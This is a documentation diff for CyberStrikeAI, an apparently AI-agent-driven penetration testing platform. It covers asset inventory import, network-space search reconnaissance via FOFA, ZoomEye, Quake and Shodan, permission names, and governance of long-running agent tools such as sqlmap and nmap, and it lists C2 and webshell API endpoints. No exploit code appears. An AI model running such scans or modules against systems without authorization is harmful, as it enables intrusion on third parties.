- **Asset inventory**: identity, service details, source, tags, project ownership, responsibility and business metadata, scan history, and risk state.
- **Reconnaissance**: search FOFA, ZoomEye, Quake, or Shodan and save confirmed results individually or in batches.
Assets can launch single-target analysis or batch scans. After an Agent records findings and completes the scan callback, the inventory displays related vulnerability counts, risk level, and latest scan time.
The overview can show the last 7, 30, or 90 days. It includes added/inactive asset trends, vulnerability discovery trends (including critical/high findings), total and 30-day scan coverage, never-scanned and stale counts, and the top eight protocols. Every statistic is restricted to the current user's accessible assets.
## Asset fields
An asset can include:
@@ -23,6 +25,7 @@ An asset can include:
- host, IP address, domain, port, and protocol;
- page title and service or product fingerprint;
- country/region, state/province, and city;
- responsible person, department, business system, environment, and criticality;
- source, source query, and tags;
- active or inactive status;
- project and owner;
@@ -45,15 +48,61 @@ example.com
[2001:db8::1]:443
```
The system attempts to identify the URL, domain, IP address, port, and protocol. You can then add a project, tags, title, service fingerprint, location, and status.
The system attempts to identify the URL, domain, IP address, port, and protocol. You can then add a project, tags, title, service fingerprint, location, responsible person, department, business system, environment, criticality, and status.
### Import from FOFA
### Import from a spreadsheet
1. Configure the FOFA email and API key in settings or the configuration file. You can also use the `FOFA_EMAIL` and `FOFA_API_KEY` environment variables.
Go to **Asset Management → Asset Inventory** and select **Bulk Import**:
1. Download the XLSX (recommended) or CSV template.
2. Enter assets in the `Assets` sheet without changing the header row.
3. Choose the completed file or drop it onto the upload area.
4. Review row-level validation. Duplicates, invalid values, and inaccessible projects are marked as errors.
5. Select **Import valid rows**. Invalid rows are not submitted. When the file contains more than 100 rows, the preview shows the first 100 while submission processes every valid row.
6. Review the created, updated, and skipped counts.
Template columns:
| Column | Required | Description |
| --- | --- | --- |
| `target` | Conditional | URL, domain, IPv4, IPv6, or a target with a port; required when `host`, `ip`, and `domain` are all empty |
| `project` | No | Exact name or ID of an existing project; leave blank for no project |
| `tags` | No | Comma, semicolon, or pipe-separated; up to 30 tags and 64 characters per tag |
| `host` | Conditional | Full URL or host; may supplement `target` |
| `ip` | Conditional | Valid IPv4 or IPv6 address |
| `domain` | Conditional | Valid domain; internationalized domains are normalized |
| `port` | No | `0-65535`; may be inferred from `target` |
| `protocol` | No | Such as `http`, `https`, or `ssh`; may be inferred from a URL or common port |
| `title` | No | Page title, up to 500 characters |
| `server` | No | Service or product fingerprint |
| `country` / `province` / `city` | No | Location metadata |
| `responsible_person` | No | Responsible person, up to 255 characters |
| `department` | No | Responsible department, up to 255 characters |
| `business_system` | No | Owning business system, up to 255 characters |
| `environment` | No | `production`, `staging`, `testing`, `development`, or `other` |
| `criticality` | No | `critical`, `high`, `medium`, or `low` |
| `status` | No | `active` or `inactive`; defaults to `active` |
The parser recognizes the template's English headers and common Chinese aliases. Environment and criticality columns also accept their corresponding Chinese values. Automated exports should keep the English headers and enum values to avoid ambiguous mappings.
Limits and behavior:
- One XLSX/CSV file may contain up to 100,000 rows and be up to 100 MB.
- One `/api/assets/import` request may contain up to 100,000 assets.
- Later rows with the same “target + port + protocol” in one file are marked as duplicates and are not submitted.
- The Web UI parses and previews the file; the server remains responsible for authorization, validation, normalization, deduplication, and transactional writes.
- Existing assets receive non-empty incoming fields and a refreshed last-seen time instead of a duplicate record.
- Bulk import requires `asset:write`. Referenced projects must also be accessible to the current user.
- Do not remove the server-side row limit. Split larger datasets and import them during a low-traffic window.
### Import from network-space search
1. Configure the relevant API key in the configuration file or under **System Settings → Asset Management**. Environment variables are also supported: `FOFA_API_KEY`, `ZOOMEYE_API_KEY`, `QUAKE_API_KEY`, and `SHODAN_API_KEY`.
2. Open **Asset Management → Reconnaissance**.
3. Enter or generate a FOFA query and confirm its scope.
4. Run the query, select results whose ownership has been verified, and choose **Save Selected**.
5. Review the created, updated, and skipped counts.
3. Select the data source: FOFA, ZoomEye, Quake, or Shodan.
4. Enter or generate a query for that source and confirm its scope.
5. Run the query, select results whose ownership has been verified, and choose **Save Selected**.
6. Review the created, updated, and skipped counts.
Internet search results are not automatically your assets. Narrow the query with organization domains, certificates, network ranges, or product fingerprints, then verify authorization before saving results.
@@ -73,18 +122,40 @@ Assets use “target + port + protocol” as the service-level deduplication key
When an existing asset is imported again, non-empty incoming fields and the last-seen time are updated. Existing fields omitted by the new record and the original first-seen time are preserved.
## Search and filters
## Search, filters, and views
The Web UI searches hosts, IP addresses, domains, titles, services, and tags, with status and project filters. The backend and Agent tools additionally support:
Keyword search in the Web UI covers hosts, IP addresses, domains, titles, services, tags, responsible people, departments, and business systems. Status and project are the primary filters; advanced filters can combine:
- source, tags, port, and protocol;
- scanned and never-scanned states;
- first-seen, last-seen, and latest-scan time ranges;
- allowlisted sort fields such as latest scan time;
- paginated queries.
- risk level and minimum vulnerability count;
- protocol, port, source, and exact tag;
- scanned, never scanned, or not scanned for 30/60/90 days;
- country/region, state/province, city, responsible person, department, and business system;
- environment, criticality, first-seen dates, and last-seen dates;
- sorting by last seen, latest scan, risk, vulnerability count, first seen, target name, or port.
Sorting by latest scan time in ascending order places never-scanned assets first, making coverage gaps visible.
Frequently used combinations can be saved as filter views. Saved views use the current browser's `localStorage`; they are not synchronized to the server, other browsers, or other users.
The HTTP API and `query_assets` additionally support `max_vulnerabilities`, latest-scan time ranges, and allowlisted creation/update sort fields. HTTP lists allow up to 100 rows per page, while Agent queries allow up to 50.
## Bulk maintenance and export
After selecting assets, you can act on the current page or select every result matching the current filters. Cross-page selection resolves the filters again on the server and is limited to 10,000 assets; narrow the filters when the result exceeds that limit.
Available actions:
- **Bind project**: replace the project binding for all selected assets;
- **Bulk edit**: change status, responsible person, department, business system, environment, and criticality, and add or remove tags;
- **Create scan task / Send to chat**: apply one prompt template to the selected assets;
- **Export CSV / XLSX**: export the currently selected rows in the browser, including ownership, risk, vulnerability count, and timestamp fields;
- **Merge duplicates**: keep the first selected asset as primary, fill its empty fields from the other records, and union their tags;
- **Batch delete**: permanently delete the selected assets.
Bulk edit, project binding, and batch delete are all-or-nothing transactions. If any requested asset is missing or outside the caller's scope, the entire operation fails without a partial update.
Merge is only allowed when every duplicate shares a domain, IP address, or Host with the primary asset, and accepts 2-100 selected records. Existing primary values win, tags are unioned subject to the 30-tag limit, and the other records are deleted. It requires both `asset:write` and `asset:delete`; confirm the primary record and the scan history you need to retain before merging.
## Scanning and risk updates
### Scan one asset
@@ -128,6 +199,8 @@ Six built-in tools expose asset operations to Agents:
`query_assets` returns 20 summaries by default and allows at most 50 per page. Use `get_asset` for full details so large inventories do not consume the model context.
Both `create_asset` and `update_asset` accept responsibility and business metadata, and `query_assets` can filter by those fields. Agent writes go through the same normalization, validation, deduplication, and authorization checks as the HTTP API.
## Access control
Asset permissions are separated into:
@@ -138,12 +211,22 @@ Asset permissions are separated into:
Server-side authorization considers the asset owner, explicit resource assignments, the linked project, and permission scope (`all`, `assigned`, or `own`). When a conversation is linked to a project, Agent asset queries are restricted to that project and tool arguments cannot widen the boundary.
Asset batch endpoint limits:
- `POST /api/assets/import`: up to 100,000 assets per request;
- `GET /api/assets/selection`: resolve up to 10,000 matching assets;
- `POST /api/assets/scan-links`: up to 10,000 links per request;
- `PUT /api/assets/bulk`: up to 10,000 asset IDs per request;
- `PUT /api/assets/project-binding`: up to 10,000 asset IDs per request;
- `POST /api/assets/batch-delete`: up to 10,000 asset IDs per request;
- `POST /api/assets/merge`: merge 2-100 asset IDs per request.
## Recommended workflow
1. Define an explicitly authorized set of domains, IP addresses, or network ranges.
2. Add a few critical targets manually and verify normalization and deduplication.
3. Use tags to separate production, testing, critical-business, and internet-facing scopes.
4. Configure FOFA, begin with narrow queries, and verify ownership.
4. Configure one or more network-space search engines, begin with narrow queries, and verify ownership.
5. Test scanning and vulnerability callbacks on one low-risk target.
6. Use never-scanned and over-30-day filters to identify coverage gaps.
7. After validating the workflow, expand gradually with small batch tasks.
+2 -1
View File
@@ -87,7 +87,7 @@ Permissions use `module:action`. Common actions are `read`, `write`, `delete`, a
| Robots | `robot:read`, `robot:write` |
| Files | `files:read`, `files:write`, `files:delete` |
| Attack chain | `attackchain:read`, `attackchain:write` |
| FOFA | `fofa:execute` |
| Network-space search / Reconnaissance | `fofa:execute` |
| OpenAPI | `openapi:read` |
| Chat groups | `group:read`, `group:write`, `group:delete` |
| Monitor | `monitor:read`, `monitor:write`, `monitor:delete` |
@@ -98,6 +98,7 @@ Important distinctions:
- `agent:local-execute` is the local execution fallback and should be limited to trusted operators.
- `mcp:execute` protects the authenticated MCP HTTP entry point.
- `mcp:external:execute` allows Agent calls to external MCP tools and currently also requires `all` scope.
- `fofa:execute` is kept for backward compatibility, but it now protects the Reconnaissance page for FOFA, ZoomEye, Quake, and Shodan searches.
- `mcp:write` manages external MCP configuration; it is separate from external tool execution.
- `robot:write` manages robot configuration and the test endpoint. Chatbot conversations use the bound user or configured service account's business permissions.
+221
View File
@@ -0,0 +1,221 @@
# Tool Execution Governance
[Back to English documentation](README.md)
This document describes how CyberStrikeAI governs long-running tools, blocking MCP calls, oversized outputs, cancellation, and context restore. The goal is to preserve standard Agent/Eino tool semantics while preventing tool hangs, context blowups, oversized database records, and unsafe resume behavior.
## Goals
- **Keep the agent runner responsive**: tools may run for a long time, but the current runner waits only for a bounded interval.
- **Allow long tasks to continue**: timeout returns an `execution_id`; later turns can call `wait_tool_execution`.
- **Support cancellation**: users and agents can cancel a running execution.
- **Keep DB and agent views identical**: the database stores the same canonical capped result returned to the agent.
- **Protect resume paths**: resume uses model-facing traces and caps historical oversized tool traces.
- **Isolate external MCP failures**: external MCP servers are protected by per-server concurrency limits, global concurrency limits, and circuit breakers.
## Execution Model
Tool calls still appear to Eino/Agent as standard tool invocations, but the blocking work runs in a worker:
```text
Agent calls tool
-> ExecutionService creates execution
-> worker runs the real MCP/tool call
-> Agent bounded wait
-> completed: return tool result
-> still running: return execution_id, worker continues in background
```
This prevents MCP servers, `exec`, `sqlmap`, `nmap`, `nuclei`, and similar long-running tools from binding the current runner indefinitely.
## Execution Statuses
| Status | Meaning |
|---|---|
| `queued` | Execution exists and is waiting for a worker or concurrency slot |
| `running` | Worker is executing |
| `background_running` | UI display state: agent stopped waiting, background worker continues |
| `completed` | This tool call completed |
| `failed` | The tool actually failed |
| `cancelled` | User, agent, or session cleanup cancelled the execution |
| `hard_timeout` | The tool exceeded its hard timeout |
| `orphaned` | A persisted running execution no longer has a runtime worker |
Important: when `wait_tool_execution` reaches `timeout_seconds` and the target execution is still running, the wait call itself is a completed observation, not a failed tool execution.
## Control Tools
| Tool | Purpose |
|---|---|
| `get_tool_execution` | Read current execution state |
| `wait_tool_execution` | Wait for a selected execution for a bounded interval |
| `cancel_tool_execution` | Cancel a selected execution |
`get_tool_execution` and `wait_tool_execution` can include a live output preview:
- `include_partial_output`: whether to return partial output, default `true`.
- `partial_output_max_bytes`: tail preview limit for this call, default `4096`, maximum `65536`.
Partial output is a bounded preview of output produced so far, not the final `result`. The canonical `result` is still written only when the tool finishes. Tools that do not support streaming output simply omit partial fields.
Typical flow:
```text
1. Call a long-running tool such as exec/sqlmap/nmap
2. After tool_wait_timeout_seconds, receive execution_id
3. Agent can continue reasoning, use other tools, or call wait_tool_execution
4. If still incomplete, continue waiting or call cancel_tool_execution
```
`tool_wait_timeout_seconds` applies to internal MCP tools, external MCP tools, and Eino filesystem's streaming `execute`. Eino's non-streaming filesystem tools such as `ls/read_file/write_file/edit_file/glob/grep` are recorded in execution monitoring, but they are not converted into resumable background workers.
## Cancellation and Session Cleanup
- User stop cancels running tools for the current conversation.
- Normal session end cancels remaining running tools for the current conversation.
- Interrupt-and-continue style flows do not mass-cancel tools.
- Conversation-scoped cancellation avoids killing tools from other conversations.
## External MCP Isolation
External MCP servers can hang, disconnect, or return failures. CyberStrikeAI uses three protections:
| Capability | Config | Description |
|---|---|---|
| Per-server concurrency | `external_mcp_max_concurrent_per_server` | Max simultaneous calls for one external MCP server |
| Global concurrency | `external_mcp_max_concurrent_total` | Max simultaneous external MCP calls across all servers |
| Circuit breaker | `external_mcp_circuit_failure_threshold` / `external_mcp_circuit_cooldown_seconds` | Temporarily fast-fails a server after repeated failures |
Recommended defaults:
```yaml
agent:
external_mcp_max_concurrent_per_server: 2
external_mcp_max_concurrent_total: 16
external_mcp_circuit_failure_threshold: 3
external_mcp_circuit_cooldown_seconds: 60
```
## Output Governance
CyberStrikeAI uses `multi_agent.eino_middleware.reduction_max_length_for_trunc` as the unified tool result cap. The example configuration uses 50000 bytes.
```yaml
multi_agent:
eino_middleware:
reduction_enable: true
reduction_max_length_for_trunc: 50000
```
Coverage:
| Channel | Behavior |
|---|---|
| Agent-facing tool result | Uses the canonical capped result |
| DB / monitor storage | Stores the same canonical result |
| `get_tool_execution` / `wait_tool_execution` | Reads the same canonical result |
| Eino `execute` / filesystem monitor records | Capped before completion is persisted |
| Non-streaming `exec` stdout/stderr | Source-side bounded buffer |
| Streaming `exec` stdout/stderr | Streamed UI output is also bounded |
| PTY execution path | Uses the same output cap |
| Frontend detail modal | Has an additional UI display cap |
When the cap is reached, the full output is written to a local trunc file and the agent-facing payload becomes a `<persisted-output>` notice (with absolute path) that fits inside the configured budget.
Example:
```text
<persisted-output>
Output too large (200000). Full output saved to: /path/to/tmp/reduction/conversations/<id>/trunc/<execution_id>
Use read_file with offset/limit to read parts of the file.
Preview (first …):
Preview (last …):
</persisted-output>
```
The current strategy is “spill full text to disk + bounded preview in context.” Agents can recover the original via `read_file`.
## Database and Resume Context
New results are written through this path:
```text
tool completes
-> NormalizeToolResultForStorage
-> update in-memory execution
-> persist to DB
-> return to Agent
```
So, under normal operation, the DB stores exactly the result returned to the agent.
Resume uses `LastAgentTraceInput`, which is the model-facing trace that actually reached ChatModel, not raw event accumulation. The restore path also caps historical tool content to prevent context blowups from:
- pre-upgrade DB records that contain raw large output,
- manual imports or migrations,
- lowering the configured cap from a larger value,
- future bypasses that accidentally skip canonicalization.
## Recommended Configuration
For long-running security tasks:
```yaml
agent:
max_iterations: 800
tool_timeout_minutes: 60
tool_wait_timeout_seconds: 30
external_mcp_max_concurrent_per_server: 2
external_mcp_max_concurrent_total: 16
external_mcp_circuit_failure_threshold: 3
external_mcp_circuit_cooldown_seconds: 60
shell_no_output_timeout_seconds: 1200
multi_agent:
eino_middleware:
reduction_enable: true
reduction_max_length_for_trunc: 50000
```
| Parameter | Recommended | Notes |
|---|---:|---|
| `max_iterations` | `300-1000` | Very large values weaken loop protection |
| `tool_timeout_minutes` | `60` | Hard timeout for tools such as sqlmap |
| `tool_wait_timeout_seconds` | `30-60` | Agent wait bound before returning `execution_id` |
| `shell_no_output_timeout_seconds` | `600-1200` | Kills silent hangs |
| `reduction_max_length_for_trunc` | `50000` | Unified tool result cap |
Do not make `tool_wait_timeout_seconds` very large by default. Long tasks should continue in workers and be observed by `execution_id`, rather than blocking one turn for several minutes.
## Testing
Long-task test prompt:
```text
Call exec to run sleep 120. If it is not done after 10 seconds, do not keep waiting; report execution_id, call wait_tool_execution for 5 seconds, then cancel_tool_execution if still incomplete and report final status.
```
Large-output test prompt:
```text
Call exec to run: python3 - <<'PY'
print("A" * 200000)
PY
Then show the tool result length and whether it contains the truncation marker.
```
Expected behavior:
- The initial long task returns an `execution_id` and status `running` or UI `background_running`.
- `wait_tool_execution` timing out while the target is still running is not displayed as a tool failure.
- Large output never exceeds `reduction_max_length_for_trunc`.
- DB, monitor details, and agent continuation use the same capped result.
## Boundaries
- CyberStrikeAI cannot control how a remote external MCP server collects output internally; it caps results after they enter CyberStrikeAI and protects calls with concurrency limits and circuit breakers.
- Oversized tool output is spilled to local `tmp/reduction/.../trunc/<id>` (or `reduction_root_dir`) before truncation; the bounded result includes an absolute path for `read_file`.
+1 -1
View File
@@ -13,7 +13,7 @@
- [架构说明](architecture.md) · [安全模型](security-model.md) · [RBAC](rbac.md)
- [Agent 与角色](agent-and-role-guide.md) · [Skills](skills-guide.md) · [Eino 多代理](MULTI_AGENT_EINO.md)
- [工作流](workflow-graph.md) · [人机协同最佳实践](hitl-best-practices.md)
- [工作流](workflow-graph.md) · [工具执行治理](tool-execution-governance.md) · [人机协同最佳实践](hitl-best-practices.md)
## 功能指南
+49
View File
@@ -151,3 +151,52 @@ curl -k "https://127.0.0.1:8080/api/audit/logs/export" \
```
导出文件可能包含敏感操作信息,应加密保存。
## Recipe 11:批量导入资产
先准备 `assets.json`
```json
{
"source": "api-import",
"source_query": "cmdb-export-2026-07",
"assets": [
{
"domain": "app.example.com",
"port": 443,
"protocol": "https",
"tags": ["production", "internet"],
"status": "active"
},
{
"ip": "192.0.2.10",
"port": 22,
"protocol": "ssh",
"status": "active"
}
]
}
```
提交:
```bash
curl -k https://127.0.0.1:8080/api/assets/import \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data-binary @assets.json
```
返回示例:
```json
{"created":2,"updated":0,"skipped":0}
```
注意:
- 调用者需要 `asset:write` 权限。
- 每条资产至少填写 `host``ip``domain`
- 单次最多 100000 条;大批量请求建议使用文件配合 `--data-binary`,不要把 JSON 直接写进命令行。
- 已存在的“目标 + 端口 + 协议”会合并更新并计入 `updated`
- 如需从 XLSX/CSV 操作,使用 Web 端 **资产库 → 批量导入**;接口本身接收 JSON,不接收 multipart 文件。
+133
View File
@@ -89,6 +89,136 @@ Content-Type: application/json
- `GET /api/attack-chain/:conversationId`
- `POST /api/attack-chain/:conversationId/regenerate`
## 资产管理与批量导入
资产接口:
- `GET /api/assets`:分页查询资产;
- `GET /api/assets/selection`:按当前筛选条件解析跨页选择,最多返回 10000 条;
- `GET /api/assets/stats`:获取资产统计,`days` 仅支持 `7``30``90`
- `POST /api/assets/import`:新增或去重更新资产,单次最多 100000 条;
- `POST /api/assets/scan-links`:批量记录扫描关联,单次最多 10000 条;
- `PUT /api/assets/bulk`:原子批量更新最多 10000 个资产;
- `PUT /api/assets/project-binding`:批量绑定项目,单次最多 10000 个资产 ID;
- `POST /api/assets/batch-delete`:原子批量删除最多 10000 个资产;
- `POST /api/assets/merge`:合并 2-100 个具有共同身份的重复资产;
- `PUT /api/assets/:id`:更新资产;
- `DELETE /api/assets/:id`:删除资产。
`GET /api/assets``GET /api/assets/selection` 使用相同的筛选与排序参数;`selection` 会忽略分页参数并返回全部匹配项(最多 10000 条):
| 类别 | 参数 |
| --- | --- |
| 分页(仅列表) | `page``page_size`(最大 100 |
| 常用 | `q``status``project_id``risk_level``min_vulnerabilities``max_vulnerabilities` |
| 目标与来源 | `host``ip``domain``port``protocol``source``tag` |
| 责任与业务 | `responsible_person``department``business_system``environment``criticality` |
| 地理 | `country``province``city` |
| 扫描 | `scan_state=never|scanned``scan_overdue_days``last_scan_before``last_scan_after` |
| 发现时间 | `first_seen_before``first_seen_after``last_seen_before``last_seen_after` |
| 排序 | `sort_by``sort_order=asc|desc` |
时间参数接受 RFC3339 或 `YYYY-MM-DD``sort_by` 支持 `last_seen_at``last_scan_at``first_seen_at``created_at``updated_at``host``port``risk_level``vulnerability_count`
`POST /api/assets/import` 接收 JSON,而不是 XLSX/CSV 文件。Web 端会在浏览器中解析模板、预览并转换为该请求格式:
```http
POST /api/assets/import
Authorization: Bearer <token>
Content-Type: application/json
{
"source": "manual-import",
"source_query": "asset-import-2026-07.xlsx",
"assets": [
{
"host": "https://app.example.com:443",
"domain": "app.example.com",
"port": 443,
"protocol": "https",
"title": "Example App",
"server": "nginx",
"project_id": "<project-id>",
"responsible_person": "Alice",
"department": "Security",
"business_system": "Customer Portal",
"environment": "production",
"criticality": "critical",
"tags": ["production", "internet"],
"status": "active"
},
{
"ip": "192.0.2.10",
"port": 22,
"protocol": "ssh",
"status": "active"
}
]
}
```
请求规则:
- `assets` 必须包含 `1-100000` 条;
- 每条资产的 `host``ip``domain` 至少一项非空;
- `port` 范围为 `0-65535`
- `status` 仅支持 `active``inactive`
- `environment` 支持空值或 `production``staging``testing``development``other`
- `criticality` 支持空值或 `critical``high``medium``low`
- 标签最多 30 个,单个最多 64 个字符;
- `project_id` 非空时,调用者必须有权访问该项目;
- 需要 `asset:write` 权限;
- 服务端按“目标 + 端口 + 协议”去重,并在同一事务中处理本次请求。
成功响应:
```json
{
"created": 120,
"updated": 8,
"skipped": 2
}
```
- `created`:新建数量;
- `updated`:命中去重键并合并更新的数量;
- `skipped`:空记录或因资源归属不可更新而跳过的数量。
字段校验失败返回 `400`,且响应 `error` 会包含出错资产的顺序。项目无权访问返回 `403`。批量导入的模板字段和 UI 操作见[资产管理指南](asset-management.md#从表格批量导入)。
批量编辑示例:
```http
PUT /api/assets/bulk
Content-Type: application/json
{
"asset_ids": ["<asset-id-1>", "<asset-id-2>"],
"responsible_person": "Alice",
"department": "Security",
"environment": "production",
"criticality": "high",
"add_tags": ["internet-facing"],
"remove_tags": ["untriaged"]
}
```
批量字段均为可选;未提供的字段保持原值。`add_tags``remove_tags` 会在事务内去重处理。批量编辑、项目绑定和批量删除会先验证全部资产的可访问性,任一 ID 不存在或无权访问时整批失败。
重复资产合并示例:
```http
POST /api/assets/merge
Content-Type: application/json
{
"asset_ids": ["<primary-id>", "<duplicate-id>"],
"primary_id": "<primary-id>"
}
```
每个待删除记录必须与主资产共享域名、IP 或 Host。主资产已有字段优先,空字段从其他记录补齐,标签取并集;调用者需要更新主资产和删除其余资产的权限。
## 工具、MCP、配置
配置:
@@ -208,6 +338,7 @@ C2
| `/api/auth/*` | 高 | 可直接集成 |
| `/api/eino-agent*` | 高 | 推荐外部对话入口 |
| `/api/openapi/spec` | 高 | 用于生成客户端 |
| `/api/assets/*` | 高 | 资产管理与批量导入 |
| `/api/config*` | 中 | 管理工具使用,谨慎自动化 |
| `/api/c2/*``/api/webshell/*` | 中 | 高风险,必须加权限边界 |
| 前端私有调用细节 | 低 | 不建议插件依赖 |
@@ -237,3 +368,5 @@ curl -k https://127.0.0.1:8080/api/eino-agent \
- OpenAPI`internal/handler/openapi.go`
- 单代理:`internal/handler/eino_single_agent.go`
- 多代理:`internal/handler/multi_agent.go`
- 资产接口:`internal/handler/asset.go`
- 资产存储与去重:`internal/database/asset.go`
+100 -17
View File
@@ -2,7 +2,7 @@
[English](../en-US/asset-management.md)
资产管理用于将手工录入、FOFA、HTTP API 和 Agent 任务中发现的域名、IP、端口与服务统一归档,形成可持续维护的资产基线。它关注三个问题:当前拥有哪些资产、哪些资产已经检查、风险集中在哪里。
资产管理用于将手工录入、网络空间测绘搜索、HTTP API 和 Agent 任务中发现的域名、IP、端口与服务统一归档,形成可持续维护的资产基线。它关注三个问题:当前拥有哪些资产、哪些资产已经检查、风险集中在哪里。
> 资产管理面向安全测试和攻击面治理,不替代完整的企业 CMDB。仅可录入和扫描自有系统或已获得明确授权的目标。
@@ -11,11 +11,13 @@
资产管理包含三个主要入口:
- **资产概览**:统计资产总量、IP、域名、端口、近期变化、扫描覆盖率和协议分布。
- **资产库**:维护资产身份、服务信息、来源、标签、项目归属、扫描记录和风险状态。
- **信息收集**:查询 FOFA,并将确认归属的结果单条或批量写入资产库。
- **资产库**:维护资产身份、服务信息、来源、标签、项目归属、责任与业务属性、扫描记录和风险状态。
- **信息收集**:查询 FOFA、ZoomEye、Quake 或 Shodan,并将确认归属的结果单条或批量写入资产库。
资产可以进一步发起单目标分析或批量扫描。Agent 保存漏洞并完成扫描回写后,资产列表会同步展示相关漏洞数量、风险等级和最近扫描时间。
概览支持切换最近 7、30 或 90 天,展示新增/停用资产趋势、漏洞发现趋势(含严重和高危)、扫描覆盖率、30 天内覆盖率、从未扫描与过期资产数量,以及协议 Top 8 分布。所有统计均受当前用户的资产访问范围约束。
## 资产字段
每条资产可记录:
@@ -23,6 +25,7 @@
- Host、IP、域名、端口和协议;
- 页面标题、服务或产品指纹;
- 国家/地区、省份/州和城市;
- 负责人、部门、业务系统、环境和重要性;
- 来源、来源查询条件和标签;
- 活跃或停用状态;
- 所属项目和所有者;
@@ -45,15 +48,61 @@ example.com
[2001:db8::1]:443
```
系统会尽量识别 URL、域名、IP、端口和协议。保存前可继续补充项目、标签、标题、服务指纹、地理位置和状态。
系统会尽量识别 URL、域名、IP、端口和协议。保存前可继续补充项目、标签、标题、服务指纹、地理位置、负责人、部门、业务系统、环境、重要性和状态。
### 从 FOFA 导入
### 从表格批量导入
1. 在配置文件或系统设置中填写 FOFA 邮箱和 API Key,也可使用 `FOFA_EMAIL``FOFA_API_KEY` 环境变量。
进入 **资产管理 → 资产库**,点击 **批量导入**
1. 下载 XLSX(推荐)或 CSV 模板。
2.`Assets` 工作表中填写资产;不要修改表头。
3. 上传文件,或将文件拖入上传区域。
4. 查看逐行校验结果。文件内重复、格式错误和无权访问的项目会标为错误。
5. 点击 **导入有效数据**。错误行不会提交,预览超过 100 行时只展示前 100 行,但提交会处理全部有效行。
6. 根据提示核对新增、更新和跳过数量。
模板字段:
| 字段 | 必填 | 说明 |
| --- | --- | --- |
| `target` | 条件必填 | URL、域名、IPv4、IPv6 或带端口目标;当 `host``ip``domain` 均为空时必填 |
| `project` | 否 | 已有项目的精确名称或项目 ID;留空表示不绑定 |
| `tags` | 否 | 逗号、中文逗号、分号或竖线分隔;最多 30 个,单个最多 64 个字符 |
| `host` | 条件必填 | 完整 URL 或 Host;可与 `target` 配合补充 |
| `ip` | 条件必填 | 合法 IPv4 或 IPv6 |
| `domain` | 条件必填 | 合法域名,国际化域名会规范化 |
| `port` | 否 | `0-65535`;留空时可从 `target` 推断 |
| `protocol` | 否 | 如 `http``https``ssh`;留空时可从 URL 或常用端口推断 |
| `title` | 否 | 页面标题,最多 500 个字符 |
| `server` | 否 | 服务或产品指纹 |
| `country` / `province` / `city` | 否 | 地理归属信息 |
| `responsible_person` | 否 | 负责人,最多 255 个字符 |
| `department` | 否 | 责任部门,最多 255 个字符 |
| `business_system` | 否 | 所属业务系统,最多 255 个字符 |
| `environment` | 否 | `production``staging``testing``development``other` |
| `criticality` | 否 | `critical``high``medium``low` |
| `status` | 否 | `active``inactive`,也接受“活跃”“停用”;默认 `active` |
表头同时识别模板中的英文字段和常用中文别名;环境和重要性也接受模板列中对应的中文值。为避免不同系统导出的列名产生歧义,自动化流程仍建议使用模板中的英文表头和枚举值。
限制与处理规则:
- 单个 XLSX/CSV 文件最多 100000 行、100 MB。
- `/api/assets/import` 单次请求最多 100000 条资产。
- 文件内相同“目标 + 端口 + 协议”的后续行会标记为重复,不会提交。
- Web 端负责文件解析、预览和即时格式提示;服务端仍会执行权限检查、字段校验、规范化、去重和事务写入。
- 已存在的资产会合并本次提供的非空字段并更新最近发现时间;不会创建重复记录。
- 批量导入需要 `asset:write` 权限。填写项目时,当前用户还必须有权访问该项目。
- 不建议取消服务端条数上限。更大规模的数据应拆分文件并在低峰期导入。
### 从网络空间测绘搜索导入
1. 在配置文件或 **系统设置 → 资产管理** 中填写对应 API Key,也可使用环境变量:`FOFA_API_KEY``ZOOMEYE_API_KEY``QUAKE_API_KEY``SHODAN_API_KEY`
2. 进入 **资产管理 → 信息收集**
3. 输入或生成 FOFA 查询语句,并确认查询范围
4. 执行查询,选择确认归属的结果后点击 **入库所选**
5. 根据返回的新增、更新和跳过数量检查导入结果
3. 选择数据源:FOFA、ZoomEye、Quake 或 Shodan
4. 输入或生成该数据源的查询语句,并确认查询范围
5. 执行查询,选择确认归属的结果后点击 **入库所选**
6. 根据返回的新增、更新和跳过数量检查导入结果。
外部搜索结果不等同于自有资产。建议先通过组织域名、证书、网段或产品指纹缩小范围,确认授权后再入库。
@@ -73,18 +122,40 @@ example.com
重复资产再次入库时,系统会更新本次提供的非空字段和最近发现时间,保留未提供的原有信息,不会重置首次发现时间。
## 查询筛选
## 查询筛选与视图
Web 端支持搜索 Host、IP、域名、标题、服务标签,并按状态项目筛选。后端和 Agent 工具还支持
Web 端的关键字搜索覆盖 Host、IP、域名、标题、服务标签、负责人、部门和业务系统。常用筛选包括状态项目;展开高级筛选后还可以组合
- 来源、标签、端口和协议
- 已扫描、从未扫描等扫描状态
- 首次发现、最近发现和最近扫描时间范围
- 按最近扫描时间等白名单字段排序
- 分页查询。
- 风险等级和最少漏洞数
- 协议、端口、来源和精确标签
- 已扫描、从未扫描,以及 30/60/90 天未扫描
- 国家/地区、省份/州、城市、负责人、部门和业务系统
- 环境、重要性、首次发现和最近发现日期范围;
- 最近发现、最近扫描、风险、漏洞数、首次发现、目标名称或端口排序。
按最近扫描时间升序排列时,从未扫描的资产优先显示,便于识别覆盖盲区。
常用筛选组合可以保存为筛选视图。筛选视图保存在当前浏览器的 `localStorage` 中,不会同步到服务端、其他浏览器或其他用户。
HTTP API 和 `query_assets` 还支持 `max_vulnerabilities`、最近扫描时间范围,以及创建/更新时间等白名单排序字段。HTTP 列表每页最多 100 条,Agent 查询每页最多 50 条。
## 批量维护与导出
选择资产后,可以对当前页执行操作,也可以选择当前筛选条件命中的全部结果。跨页选择由服务端重新解析当前筛选条件,最多返回 10000 条;超过上限时需要进一步缩小范围。
可用操作:
- **绑定项目**:为所选资产统一替换项目归属;
- **批量编辑**:修改状态、负责人、部门、业务系统、环境和重要性,并增删标签;
- **创建扫描任务 / 发送到对话**:复用同一提示词模板处理所选资产;
- **导出 CSV / XLSX**:在浏览器中导出当前已选择的资产,包含责任属性、风险、漏洞数量和时间字段;
- **合并重复资产**:保留第一个所选资产为主资产,以其他记录的非空字段补齐主资产并合并标签;
- **批量删除**:永久删除所选资产。
批量编辑、项目绑定和批量删除采用全有或全无的事务:只要其中一个资产不存在或超出调用者权限,整批操作就会失败,不会留下部分更新。
合并仅适用于具有共同域名、IP 或 Host 的记录,每次可选择 2-100 条。主资产已有值优先,标签取并集且仍受 30 个标签限制,其余记录会被删除。该操作同时需要 `asset:write``asset:delete`;合并前应确认主资产选择以及需要保留的扫描历史。
## 扫描与风险回写
### 单资产扫描
